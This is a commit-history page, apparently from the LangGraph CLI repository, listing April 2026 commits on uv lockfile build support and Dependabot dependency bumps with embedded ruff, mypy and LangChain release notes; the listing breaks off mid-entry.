327 Commits

Include renames

Author	SHA1	Message	Date
Will Fu-Hinthorn	998aa88ea1	update	2026-04-08 05:47:23 -07:00
Will Fu-Hinthorn	627cf19464	update	2026-04-08 05:40:59 -07:00
Will Fu-Hinthorn	8e89c8b155	chore: migration 1	2026-04-08 04:46:31 -07:00
Will Fu-Hinthorn	98fd216ce7	release	2026-04-07 18:20:20 -07:00
Will Fu-Hinthorn	247ef5edf7	chore: add validate command	2026-04-07 18:20:10 -07:00
Will Fu-Hinthorn	648f03d715	chore: validate	2026-04-07 17:56:19 -07:00
3 people	336ad1239b	release(cli): lockfile (#7436) ... Co-authored-by: Will Fu-Hinthorn <will@langchain.dev>	2026-04-07 17:19:17 -07:00
3 people	51f6cee1b1	chore: uv lock resolution (#7342) ... ## Summary Adds native uv workspace/lockfile support to the LangGraph CLI's Docker build pipeline. Instead of listing dependencies manually, users can point at their existing `uv.lock` and the CLI will: 1. Discover workspace packages and their dependency graph 2. Export locked requirements via `uv export --package <name> --frozen` 3. Copy only the necessary workspace closure into the container 4. Install packages in dependency order with `--no-deps` for reproducibility 5. Rewrite all import paths (graphs, auth, encryption, etc.) to container paths ### New config field: `source` Rather than using `pip` or `uv pip`, we add a new `uv_lock` installer. The previous installers should still remain unchanged. To avoid ambiguity, we discriminate by "source" field and **do not permit** other arbitrary "dependencies". In this mode, we will treat the provided root (defaults to the current directory) as the source of truth. This also would natively support uv workspaces, so you can specify the target package within a larger workspace. **Simple single-package project:** ```json { "python_version": "3.11", "graphs": { "agent": "./agent.py:graph" }, "source": { "kind": "uv" } } ``` **Multi-package workspace with explicit package:** ```json { "python_version": "3.11", "graphs": { "agent": "../../apps/agent/src/agent/graph.py:graph" }, "source": { "kind": "uv", "root": "../..", "package": "agent" } } ``` **Traditional pip deployment (unchanged):** ```json { "python_version": "3.11", "dependencies": ["langgraph", "my-package"], "graphs": { "agent": "./agent.py:graph" } } ``` Config validation enforces mutual exclusivity. you must use either `dependencies` or `source`, not both. --------- Co-authored-by: Will Fu-Hinthorn <will@langchain.dev>	2026-04-07 17:17:54 -07:00
4 people	7173379740	chore: bump langgraph version to 1.1.5 in CI and examples (#7435) ... ## Summary - Bump `langgraph` version from `1.1.2` to `1.1.5` in the CI integration test workflow version check - Bump `langgraph` version from `1.1.2` to `1.1.5` in the prerelease example `pyproject.toml` files ## Test plan - [ ] CI integration tests pass with the updated version expectation 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>	2026-04-07 14:20:56 -07:00
3 people	f4b0cc6b9d	chore(deps-dev): bump the minor-and-patch group in /libs/cli with 2 updates (#7378) ... Bumps the minor-and-patch group in /libs/cli with 2 updates: [ruff](https://github.com/astral-sh/ruff) and [mypy](https://github.com/python/mypy). Updates `ruff` from 0.15.7 to 0.15.8 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.8</h2> <h2>Release Notes</h2> <p>Released on 2026-03-26.</p> <h3>Preview features</h3> <ul> <li>[<code>ruff</code>] New rule <code>unnecessary-if</code> (<code>RUF050</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24114">#24114</a>)</li> <li>[<code>ruff</code>] New rule <code>useless-finally</code> (<code>RUF072</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24165">#24165</a>)</li> <li>[<code>ruff</code>] New rule <code>f-string-percent-format</code> (<code>RUF073</code>): warn when using <code>%</code> operator on an f-string (<a href="https://redirect.github.com/astral-sh/ruff/pull/24162">#24162</a>)</li> <li>[<code>pyflakes</code>] Recognize <code>frozendict</code> as a builtin for Python 3.15+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/24100">#24100</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>flake8-async</code>] Use fully-qualified <code>anyio.lowlevel</code> import in autofix (<code>ASYNC115</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24166">#24166</a>)</li> <li>[<code>flake8-bandit</code>] Check tuple arguments for partial paths in <code>S607</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24080">#24080</a>)</li> <li>[<code>pyflakes</code>] Skip <code>undefined-name</code> (<code>F821</code>) for conditionally deleted variables (<a href="https://redirect.github.com/astral-sh/ruff/pull/24088">#24088</a>)</li> <li><code>E501</code>/<code>W505</code>/formatter: Exclude nested pragma comments from line width calculation (<a href="https://redirect.github.com/astral-sh/ruff/pull/24071">#24071</a>)</li> <li>Fix <code>%foo?</code> parsing in IPython assignment expressions (<a href="https://redirect.github.com/astral-sh/ruff/pull/24152">#24152</a>)</li> <li><code>analyze graph</code>: resolve string imports that reference attributes, not just modules (<a href="https://redirect.github.com/astral-sh/ruff/pull/24058">#24058</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>eradicate</code>] ignore <code>ty: ignore</code> comments in <code>ERA001</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24192">#24192</a>)</li> <li>[<code>flake8-bandit</code>] Treat <code>sys.executable</code> as trusted input in <code>S603</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24106">#24106</a>)</li> <li>[<code>flake8-self</code>] Recognize <code>Self</code> annotation and <code>self</code> assignment in <code>SLF001</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24144">#24144</a>)</li> <li>[<code>pyflakes</code>] <code>F507</code>: Fix false negative for non-tuple RHS in <code>%</code>-formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/24142">#24142</a>)</li> <li>[<code>refurb</code>] Parenthesize generator arguments in <code>FURB142</code> fixer (<a href="https://redirect.github.com/astral-sh/ruff/pull/24200">#24200</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Speed up diagnostic rendering (<a href="https://redirect.github.com/astral-sh/ruff/pull/24146">#24146</a>)</li> </ul> <h3>Server</h3> <ul> <li>Warn when Markdown files are skipped due to preview being disabled (<a href="https://redirect.github.com/astral-sh/ruff/pull/24150">#24150</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Clarify <code>extend-ignore</code> and <code>extend-select</code> settings documentation (<a href="https://redirect.github.com/astral-sh/ruff/pull/24064">#24064</a>)</li> <li>Mention AI policy in PR template (<a href="https://redirect.github.com/astral-sh/ruff/pull/24198">#24198</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use trusted publishing for NPM packages (<a href="https://redirect.github.com/astral-sh/ruff/pull/24171">#24171</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/bitloi"><code>@​bitloi</code></a></li> <li><a href="https://github.com/Sim-hu"><code>@​Sim-hu</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.8</h2> <p>Released on 2026-03-26.</p> <h3>Preview features</h3> <ul> <li>[<code>ruff</code>] New rule <code>unnecessary-if</code> (<code>RUF050</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24114">#24114</a>)</li> <li>[<code>ruff</code>] New rule <code>useless-finally</code> (<code>RUF072</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24165">#24165</a>)</li> <li>[<code>ruff</code>] New rule <code>f-string-percent-format</code> (<code>RUF073</code>): warn when using <code>%</code> operator on an f-string (<a href="https://redirect.github.com/astral-sh/ruff/pull/24162">#24162</a>)</li> <li>[<code>pyflakes</code>] Recognize <code>frozendict</code> as a builtin for Python 3.15+ (<a href="https://redirect.github.com/astral-sh/ruff/pull/24100">#24100</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>flake8-async</code>] Use fully-qualified <code>anyio.lowlevel</code> import in autofix (<code>ASYNC115</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24166">#24166</a>)</li> <li>[<code>flake8-bandit</code>] Check tuple arguments for partial paths in <code>S607</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24080">#24080</a>)</li> <li>[<code>pyflakes</code>] Skip <code>undefined-name</code> (<code>F821</code>) for conditionally deleted variables (<a href="https://redirect.github.com/astral-sh/ruff/pull/24088">#24088</a>)</li> <li><code>E501</code>/<code>W505</code>/formatter: Exclude nested pragma comments from line width calculation (<a href="https://redirect.github.com/astral-sh/ruff/pull/24071">#24071</a>)</li> <li>Fix <code>%foo?</code> parsing in IPython assignment expressions (<a href="https://redirect.github.com/astral-sh/ruff/pull/24152">#24152</a>)</li> <li><code>analyze graph</code>: resolve string imports that reference attributes, not just modules (<a href="https://redirect.github.com/astral-sh/ruff/pull/24058">#24058</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>eradicate</code>] ignore <code>ty: ignore</code> comments in <code>ERA001</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24192">#24192</a>)</li> <li>[<code>flake8-bandit</code>] Treat <code>sys.executable</code> as trusted input in <code>S603</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24106">#24106</a>)</li> <li>[<code>flake8-self</code>] Recognize <code>Self</code> annotation and <code>self</code> assignment in <code>SLF001</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/24144">#24144</a>)</li> <li>[<code>pyflakes</code>] <code>F507</code>: Fix false negative for non-tuple RHS in <code>%</code>-formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/24142">#24142</a>)</li> <li>[<code>refurb</code>] Parenthesize generator arguments in <code>FURB142</code> fixer (<a href="https://redirect.github.com/astral-sh/ruff/pull/24200">#24200</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Speed up diagnostic rendering (<a href="https://redirect.github.com/astral-sh/ruff/pull/24146">#24146</a>)</li> </ul> <h3>Server</h3> <ul> <li>Warn when Markdown files are skipped due to preview being disabled (<a href="https://redirect.github.com/astral-sh/ruff/pull/24150">#24150</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Clarify <code>extend-ignore</code> and <code>extend-select</code> settings documentation (<a href="https://redirect.github.com/astral-sh/ruff/pull/24064">#24064</a>)</li> <li>Mention AI policy in PR template (<a href="https://redirect.github.com/astral-sh/ruff/pull/24198">#24198</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use trusted publishing for NPM packages (<a href="https://redirect.github.com/astral-sh/ruff/pull/24171">#24171</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/bitloi"><code>@​bitloi</code></a></li> <li><a href="https://github.com/Sim-hu"><code>@​Sim-hu</code></a></li> <li><a href="https://github.com/mvanhorn"><code>@​mvanhorn</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/c2a8815842f9dc5d24ec19385eae0f1a7188b0d9"><code>c2a8815</code></a> Release 0.15.8 (<a href="https://redirect.github.com/astral-sh/ruff/issues/24217">#24217</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/d444d52e2b9cc8bc9a078c2bd4ff6ff993290209"><code>d444d52</code></a> [ty] Infer lambda expressions with <code>Callable</code> type context (<a href="https://redirect.github.com/astral-sh/ruff/issues/22633">#22633</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/9622285ed0081fc688149f6efca87f127d9b18dd"><code>9622285</code></a> [ty] Autocomplete arguments if in arguments node (<a href="https://redirect.github.com/astral-sh/ruff/issues/24167">#24167</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/d81266252aaf0820346d55edbed79c4f25ba13d2"><code>d812662</code></a> Use the <code>release</code> environment in <code>publish-docs</code> (<a href="https://redirect.github.com/astral-sh/ruff/issues/24214">#24214</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/eda2355832f7a9c58aef6febd3e061dc9c87509a"><code>eda2355</code></a> [ty] Show <code>Final</code> source in final assignment diagnostic (<a href="https://redirect.github.com/astral-sh/ruff/issues/24194">#24194</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/929eb5238c82bfadad4549ff526f02efc0163dd0"><code>929eb52</code></a> [ty] Enforce Final attribute assignment rules for annotated and augmented wri...</li> <li><a href="https://github.com/astral-sh/ruff/commit/34998be22ec3a77d398bbd55234ef8740f768329"><code>34998be</code></a> [ty] Fix typo in comment (<a href="https://redirect.github.com/astral-sh/ruff/issues/24211">#24211</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/560aca0b2828ee2ff1b4bcc5c5ef1ef4ced229d2"><code>560aca0</code></a> [ty] Minor simplifications to some benchmark code (<a href="https://redirect.github.com/astral-sh/ruff/issues/24209">#24209</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/683bae512d03d3727a7bcdbc5a0170dafa049583"><code>683bae5</code></a> [ty] Track non-terminal-call constraints in global scope (<a href="https://redirect.github.com/astral-sh/ruff/issues/23245">#23245</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/4704c2a4ff3dde2fd29324346720e9516b4fe387"><code>4704c2a</code></a> [ty] Remove unnecessary intermediate collection in `StaticClassLiteral::field...</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.7...0.15.8">compare view</a></li> </ul> </details> <br /> Updates `mypy` from 1.19.1 to 1.20.0 <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/python/mypy/blob/master/CHANGELOG.md">mypy's changelog</a>.</em></p> <blockquote> <h1>Mypy Release Notes</h1> <h2>Next Release</h2> <h2>Mypy 1.20</h2> <p>We’ve just uploaded mypy 1.20.0 to the Python Package Index (<a href="https://pypi.org/project/mypy/">PyPI</a>). Mypy is a static type checker for Python. This release includes new features, performance improvements and bug fixes. You can install it as follows:</p> <pre><code>python3 -m pip install -U mypy </code></pre> <p>You can read the full documentation for this release on <a href="http://mypy.readthedocs.io">Read the Docs</a>.</p> <h3>Planned Changes to Defaults and Flags in Mypy 2.0</h3> <p>As a reminder, we are planning to enable <code>--local-partial-types</code> by default in mypy 2.0, which will likely be the next feature release. This will often require at least minor code changes. This option is implicitly enabled by mypy daemon, so this makes the behavior of daemon and non-daemon modes consistent.</p> <p>Note that this release improves the compatibility of <code>--local-partial-types</code> significantly to make the switch easier (see below for more).</p> <p>This can also be configured in a mypy configuration file (use <code>False</code> to disable):</p> <pre><code>local_partial_types = True </code></pre> <p>For more information, refer to the <a href="https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-local-partial-types">documentation</a>.</p> <p>We will also enable <code>--strict-bytes</code> by default in mypy 2.0. This usually requires at most minor code changes to adopt. For more information, refer to the <a href="https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-strict-bytes">documentation</a>.</p> <p>Finally, <code>--allow-redefinition-new</code> will be renamed to <code>--allow-redefinition</code>. If you want to continue using the older <code>--allow-redefinition</code> semantics which are less flexible (e.g. limited support for conditional redefinitions), you can switch to <code>--allow-redefinition-old</code>, which is currently supported as an alias to the legacy <code>--allow-redefinition</code> behavior. To use <code>--allow-redefinition</code> in the upcoming mypy 2.0, you can't use <code>--no-local-partial-types</code>. For more information, refer to the <a href="https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-allow-redefinition-new">documentation</a>.</p> <h3>Better Type Narrowing</h3> <p>Mypy's implementation of narrowing has been substantially reworked. Mypy will now narrow more aggressively, more consistently, and more correctly. In particular, you are likely to notice new narrowing behavior in equality expressions (<code>==</code>), containment expressions (<code>in</code>),</p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/python/mypy/commit/770d3ca4997032dc3a1c4f0b468e9f58e8f38505"><code>770d3ca</code></a> Remove +dev from version</li> <li><a href="https://github.com/python/mypy/commit/4738ffafc56a0d175cba06e893ffa62e756fc7e0"><code>4738ffa</code></a> Changelog updates for 1.20 (<a href="https://redirect.github.com/python/mypy/issues/21109">#21109</a>)</li> <li><a href="https://github.com/python/mypy/commit/b4f07a717c3a239a9c77808c5550fff5f2638c96"><code>b4f07a7</code></a> Use 'native-parser' instead of 'native-parse' for optional dependency (<a href="https://redirect.github.com/python/mypy/issues/21115">#21115</a>)</li> <li><a href="https://github.com/python/mypy/commit/7bec7b7f791790b1c925cdcc573ced564fbbf065"><code>7bec7b7</code></a> [mypyc] Document librt and librt.base64 (<a href="https://redirect.github.com/python/mypy/issues/21114">#21114</a>)</li> <li><a href="https://github.com/python/mypy/commit/c4825969450385cf3eb91a4fc02f273b369bc301"><code>c482596</code></a> --allow-redefinition-new is no longer experimental (<a href="https://redirect.github.com/python/mypy/issues/21110">#21110</a>)</li> <li><a href="https://github.com/python/mypy/commit/c916ca3fa79d9324dcbe130b18e24e2b5e2d1eb5"><code>c916ca3</code></a> sdist: include <code>misc/{diff-cache,apply-cache-diff}.py</code> for `mypy/test/test_di...</li> <li><a href="https://github.com/python/mypy/commit/b137e4ed41d6178f6dbd0e609db56b8c1ad5384a"><code>b137e4e</code></a> [mypyc] Speed up native-to-native imports within the same group (<a href="https://redirect.github.com/python/mypy/issues/21101">#21101</a>)</li> <li><a href="https://github.com/python/mypy/commit/978b711c21adadf5dae4db80127ddf270d79af5f"><code>978b711</code></a> [mypyc] Fix range loop variable off-by-one after loop exit (<a href="https://redirect.github.com/python/mypy/issues/21098">#21098</a>)</li> <li><a href="https://github.com/python/mypy/commit/67ada30918d1a32e1935e9ac468113e0aa002b79"><code>67ada30</code></a> [stubtest] Check runtime availability of private types not marked `@type_chec...</li> <li><a href="https://github.com/python/mypy/commit/bdef6ef8734af07cab1bf0acadc1d8ab9add93c3"><code>bdef6ef</code></a> librt cache tests: build respecting MYPY_TEST_PREFIX (<a href="https://redirect.github.com/python/mypy/issues/21097">#21097</a>)</li> <li>Additional commits viewable in <a href="https://github.com/python/mypy/compare/v1.19.1...v1.20.0">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-04-03 19:18:01 -07:00
3 people	dc8e917b0d	chore(deps): bump the minor-and-patch group in /libs/cli/js-examples with 4 updates (#7372) ... Bumps the minor-and-patch group in /libs/cli/js-examples with 4 updates: [@langchain/core](https://github.com/langchain-ai/langchainjs), [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core), [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) and [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser). Updates `@langchain/core` from 1.1.36 to 1.1.38 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.38</h2> <h3>Patch Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10552">#10552</a> <a href="https://github.com/langchain-ai/langchainjs/commit/589ab9be391a5d6c104f34877fc1b3e2a32fa449"><code>589ab9b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(langchain): accept cross-version runnable models in createAgent</li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.37</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10511">#10511</a> <a href="https://github.com/langchain-ai/langchainjs/commit/6933769836fe3cec835588e5f8db9883200865f6"><code>6933769</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - cache Zod-to-JSON-Schema conversions in toJsonSchema()</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10541">#10541</a> <a href="https://github.com/langchain-ai/langchainjs/commit/50d5f32fd30cabebf058b1c13255c1daadde6107"><code>50d5f32</code></a> Thanks <a href="https://github.com/jacoblee93"><code>@​jacoblee93</code></a>! - revert: Revert &quot;feat(core): Add all chat model/llm invocation params to metadata&quot;</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10509">#10509</a> <a href="https://github.com/langchain-ai/langchainjs/commit/555299917c90322e25d7671bad2e20c9b104bad6"><code>5552999</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(openai): add support for phase parameter on Responses API messages</p> <ul> <li>Extract <code>phase</code> from message output items and surface it on text content blocks</li> <li>Support phase in streaming via <code>response.output_item.added</code> events</li> <li>Round-trip phase through both raw provider and standard content paths</li> <li>Move phase into <code>extras</code> dict in the core standard content translator</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10528">#10528</a> <a href="https://github.com/langchain-ai/langchainjs/commit/8331833c93ba907063c9fe28e9f935ed5dfec11c"><code>8331833</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): normalize single-block content in mergeContent</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/6b914bceb4acd4664b12091770a2ddcbf5d8457e"><code>6b914bc</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10553">#10553</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/7ed93b8b8a6e9eb0da3e103d74087c692fee2773"><code>7ed93b8</code></a> fix(langchain): allow dynamic tools in wrapModelCall with wrapToolCall (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10543">#10543</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/9270c48d7a95db6e7e2570a7e681c94479a673d0"><code>9270c48</code></a> fix(openai): preserve reasoning_content in ChatOpenAICompletions (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10551">#10551</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/f54805305787fa383c3ce1e287daafdb5464a98b"><code>f548053</code></a> fix(langchain): bump langgraph dep (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10555">#10555</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/11a295fdadec3809f40c10492e3fd474e832c468"><code>11a295f</code></a> fix(langchain): add support for dynamic structured output (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10554">#10554</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/589ab9be391a5d6c104f34877fc1b3e2a32fa449"><code>589ab9b</code></a> fix(langchain): accept cross-version runnable models in createAgent (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10552">#10552</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/cd86fea8de2130d0df60805baada81958d47c747"><code>cd86fea</code></a> fix: implement tool choice required on anthropic (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10519">#10519</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b57760c55a721ed65a456bbad11172e35adee177"><code>b57760c</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10516">#10516</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/6e2d29e28a8f2a84f6fbbe5755d6b4fe2d5d4fd1"><code>6e2d29e</code></a> tests(<code>@​langchain/google</code>): Lyria 3 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10522">#10522</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/68e0a19238be592514b6c01243c41aefaa6a7668"><code>68e0a19</code></a> fix(langchain): revert zod import in utils.ts to fix v3/v4 interop (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10545">#10545</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.36...@langchain/core@1.1.38">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.5 to 1.2.6 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.6</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2241">#2241</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - feat: add browser support for interrupt, writer, and other Node-only exports</p> <p>Export <code>interrupt</code>, <code>writer</code>, <code>pushMessage</code>, <code>getStore</code>, <code>getWriter</code>, <code>getConfig</code>, <code>getPreviousState</code>, <code>getCurrentTaskInput</code> from <code>web.ts</code> and add a <code>&quot;browser&quot;</code> condition to the <code>&quot;.&quot;</code> package export so browser bundlers resolve to <code>web.js</code> instead of pulling in <code>node:async_hooks</code>.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2245">#2245</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - revert abort signal change that was causing problematic errors</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2242">#2242</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - clean up resolved checkpointer promises to reduce memory retention</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/88726dfe222aed64e5cd5dfa6f77f886b5a0d205"><code>88726df</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/7dfcbffd4805b2b4cc41f07f30be57ed732786b4"><code>7dfcbff</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.6</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2241">#2241</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - feat: add browser support for interrupt, writer, and other Node-only exports</p> <p>Export <code>interrupt</code>, <code>writer</code>, <code>pushMessage</code>, <code>getStore</code>, <code>getWriter</code>, <code>getConfig</code>, <code>getPreviousState</code>, <code>getCurrentTaskInput</code> from <code>web.ts</code> and add a <code>&quot;browser&quot;</code> condition to the <code>&quot;.&quot;</code> package export so browser bundlers resolve to <code>web.js</code> instead of pulling in <code>node:async_hooks</code>.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2245">#2245</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - revert abort signal change that was causing problematic errors</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2242">#2242</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - clean up resolved checkpointer promises to reduce memory retention</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/88726dfe222aed64e5cd5dfa6f77f886b5a0d205"><code>88726df</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/7dfcbffd4805b2b4cc41f07f30be57ed732786b4"><code>7dfcbff</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/9905dd102e7f68d00fc026d950e8fda033c9dded"><code>9905dd1</code></a> chore: version packages (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2238">#2238</a>)</li> <li><a 